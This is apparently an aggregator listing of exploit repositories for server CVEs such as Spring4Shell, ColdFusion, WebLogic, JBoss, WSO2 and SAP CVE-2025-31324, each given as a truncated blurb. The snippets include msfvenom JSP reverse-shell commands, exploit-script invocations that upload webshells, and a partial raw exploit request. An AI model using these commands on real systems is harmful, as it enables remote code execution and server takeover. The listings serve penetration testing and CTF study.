Spring4Shell

Spring RCE CVE-2022-22965 漏洞环境 环境信息 springboot jdk11 tomcat9.0.30 payload 请求头配置 root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", 请求体数据 root@kitploit:...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2021. Descripción del Exploit El exploit envía una solicitud POST que contiene un reverse shell JSP a /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

CVE-2024-50379-POC

CVE-2024-50379-POC 此仓库包含一个Python脚本，用于利用CVE-2024-50379 漏洞，该漏洞允许攻击者向易受攻击的服务器上传JSP shell并远程执行任意命令。当目标服务器上的/uploads目录未受保护或缺失时，此利用工具尤为有用。 概述 CVE-2024-50379 是一个影响服务器文件上传处理不当的漏洞，使攻击者能够上传JSP shell。该shell随后可用于远程执行任意命令。提供的Python脚本通过将shell上传到易受攻击的服务器并允许通过命令行界面与服务器交互，自动化了这一过程。 前提条件 在运行脚本之前，请确保已安装以下内容： Python...

CVE-2018-2628

CVE-2018-2628 Reproducción de la vulnerabilidad de deserialización de WebLogic weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /...

spring4shell-poc

Spring4Shell POC 漏洞描述：https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POC 构建：https://github.com/BobTheShoplifter/Spring4Shell-POC 构建/运行步骤 已在 JDK 11.0.14、Spring Boot 2.6.5 和 Apache Tomcat 9.0.60 上测试通过 运行 mvn clean package 构建应用程序 将 demo-0.0.1-SNAPSHOT.war 重命名为...

Spring4Shell-POC

Spring4Shell-POC Local reproduction process of Spring4Shell vulnerability Environment Preparation Environment: docker, docker-compose mvn package, generate ./target/ROOT.warshell mvn package root@kitploit: Start the serviceshell docker-compose up -d Stop serviceshell docker-compose down...

CVE-2009-2265

Versión: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Ejemplo :...

jboss-autopwn

jboss-autopwn JBoss Autopwn as featured at BlackHat Europe 2010 - this version incorporates CVE-2010-0738 the JBoss authentication bypass VERB manipulation vulnerability as discovered by Minded Security C. Papathanasiou 2010 INTRODUCTION This JBoss script deploys a JSP shell on the target JBoss A...

CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5 🚀 Getting Started 1. Download the distribution code from https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip and unzip it. 2. Run docker compose up --build to build and start the...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core batch detection script Disclaimer: This script is for learning purposes only. Prohibited for illegal use. If there is any malicious destruction or illegal use, it has nothing to do with me!!! Usage: python3 CVE-2022-22965-POC.py url.txt After successf...

spring4shell-CVE-2022-22965

Simple Spring4Shell POC Check if endpoint is vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Exploit vulnerable endpoint python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Execute command on uploaded webshe...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 PoC of Remote Command Execution via Log injection on SAP NetWeaver AS JAVA CRM Script usage example root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Where --host...

Fast-CVE-2022-22965

靶机 root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest 反弹shell实质为参照msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp 将jsp url编码后，用 root@kitploit: %3C%25替换 %25%7Bc2%7Di 代表 代码中针对不同类型服务器进行了shellpath的修改判断 root@kitploit...

CVE-2022-29464

WSO2 任意文件上传导致远程命令执行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 示例 root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2024-50379

手动利用麻烦，搓一个exp。。 食用： shell.jsp 是shell文件，ggsl.jsp是保存到目标服务器上的名称/路径 ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp 免责声明 本工具仅面向合法授权 的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。 在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标进行扫描。 如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。...

zaphoxx-coldfusion

zaphoxx-coldfusion exploit de coldfusion basado en https://cvedetails.com/cve/CVE-2009-2265/ La razón principal por la que configuré un script en Python para este CVE en particular fue que la versión de Metasploit del mismo no me funcionó cuando intenté resolver la máquina Arctic de HTB. También...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, Exploit SAP root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

rwsploit

Oracle Reports rwservlet Scanner ⚠️ For authorized use only. Only run this tool against systems you own or have explicit written permission to test. Unauthorized use is illegal. A focused exploitation scanner for Oracle Reports Server rwservlet targeting CVE-2012-3152 and CVE-2012-3153 — affecting...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2021-26828-Ultimate

ScadaFlare - Kit de explotación de RCE autenticado CVE-2021-26828 Exploit modular de RCE post-autenticación dirigido a ScadaBR 1.1.0, mejorado para operaciones de red team. Características Sube una shell .jsp armada a través de viewedit.shtm Compatible con payloads de Linux y Windows Soporte de...